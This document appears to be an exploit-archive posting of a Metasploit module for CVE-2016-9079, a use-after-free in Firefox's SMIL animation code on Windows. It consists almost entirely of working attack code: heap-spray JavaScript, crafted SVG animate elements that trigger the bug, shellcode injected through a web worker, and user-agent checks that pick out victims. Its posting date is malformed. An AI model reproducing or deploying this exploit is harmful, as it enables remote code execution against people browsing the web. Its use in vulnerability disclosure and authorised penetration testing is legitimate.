Firefox nsSMILTimeContainer::NotifyTimeChange Remote Code Execution
Posted on 30 November -0001
<HTML><HEAD><TITLE>Firefox nsSMILTimeContainer::NotifyTimeChange() Remote Code Execution</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info={}) super(update_info(info, 'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE", 'Description' => %q{ This module exploits an out-of-bounds indexing/use-after-free condition present in nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox on Microsoft Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'Anonymous Gaijin', # Original research/exploit 'William Webb <william_webb[at]rapid7.com>' # Metasploit module ], 'Platform' => 'win', 'Targets' => [ [ 'Mozilla Firefox', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], ], 'DefaultOptions' => { 'EXITFUNC' => "thread", 'InitialAutoRunScript' => 'migrate -f' }, 'References' => [ [ 'CVE', '2016-9079' ], [ 'Bugzilla', '1321066' ] ], 'Arch' => ARCH_X86, 'DisclosureDate' => "Nov 30 2016", 'DefaultTarget' => 0 ) ) register_options( [ OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]), ], self.class ) end def exploit_html(cli) p = payload.encoded arch = Rex::Arch.endian(target.arch) payload_final = Rex::Text.to_unescape(p, arch, prefix='u') base_uri = "#{get_resource.chomp('/')}" # stuff that gets adjusted alot during testing defrag_x = %Q~ for (var i = 0; i < 0x4000; i++) heap80[i] = block80.slice(0) ~ defrag_y = %Q~ for (var i = 0x4401; i < heap80.length; i++) heap80[i] = block80.slice(0) ~ js = %Q~ var worker = new Worker('#{base_uri}/worker.js'); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x5000); var heap100 = new Array(0x5000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var milestone_offset = 0x90; var $ = function(id) { return document.getElementById(id); } var heap = function() { var u32 = new Uint32Array(block80) u32[4] = arrBase - milestone_offset; u32[0xa] = arrBase + 0x1000 - milestone_offset; u32[0x10] = arrBase + 0x2000 - milestone_offset; var x = document.createElementNS(svgns, 'animate') var svg = document.createElementNS(svgns, 'svg') svg.appendChild(x) svg.appendChild(x.cloneNode(true)) for (var i = 0; i < 0x400; i++) { var node = svg.cloneNode(true); node.setAttribute('id', 'svg' + i) document.body.appendChild(node); } #{defrag_x} for (var i = 0; i < 0x400; i++) { heap80[i + 0x3000] = block80.slice(0) $('svg' + i).appendChild(x.cloneNode(true)) } for (var i = 0; i < 0x400; i++) { $('svg' + i).appendChild(x.cloneNode(true)) $('svg' + i).appendChild(x.cloneNode(true)) } for (var i = 0; i < heap100.length; i++) heap100[i] = block100.slice(0) #{defrag_y} for (var i = 0x100; i < 0x400; i++) $('svg' + i).appendChild(x.cloneNode(true)) } var exploit = function() { heap(); animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') // money shot containerA.pauseAnimations(); } worker.onmessage = function(e) { worker.onmessage = function(e) { window.setTimeout(function() { worker.terminate(); document.body.innerHTML = ''; document.getElementsByTagName('head')[0].innerHTML = ''; document.body.setAttribute('onload', '') document.write('<blink>') }, 1000); } arrBase = e.data; exploit(); } var idGenerator = function() { return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1); } var craftDOM = function() { containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idX = idGenerator(); var idA = idGenerator(); var idB = idGenerator(); var idC = idGenerator(); animateX.setAttribute('id', idX); animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('id', idB); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('begin', '10s'); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = craftDOM; ~ # If you want to change the appearance of the landing page, do it here html = %Q~ <html> <head> <meta charset="utf-8"/> <script> #{js} </script> </head> <body> </body> </html> ~ if datastore['UsePostHTML'] f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb") c = f.read html = html.gsub("<blink>", c) else html = html.gsub("<blink>", "") end send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) end def worker_js(cli) p = payload.encoded arch = Rex::Arch.endian(target.arch) payload = Rex::Text.to_unescape(p, arch) wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb") c = wt.read c = c.gsub("INSERTSHELLCODEHEREPLZ", payload) c = c.gsub("NOPSGOHERE", "u9090") send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) end def is_ff_on_windows(user_agent) target_hash = fingerprint_user_agent(user_agent) if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/ return false end return true end def on_request_uri(cli, request) print_status("Got request: #{request.uri}") print_status("From: #{request.headers['User-Agent']}") if (!is_ff_on_windows(request.headers['User-Agent'])) print_error("Unsupported user agent: #{request.headers['User-Agent']}") send_not_found(cli) close_client(cli) return end if request.uri =~ /worker.js/ print_status("Sending worker thread Javascript ...") worker_js(cli) return end if request.uri =~ /index.html/ or request.uri =~ /// print_status("Sending exploit HTML ...") exploit_html(cli) close_client(cli) return end end end </BODY></HTML>
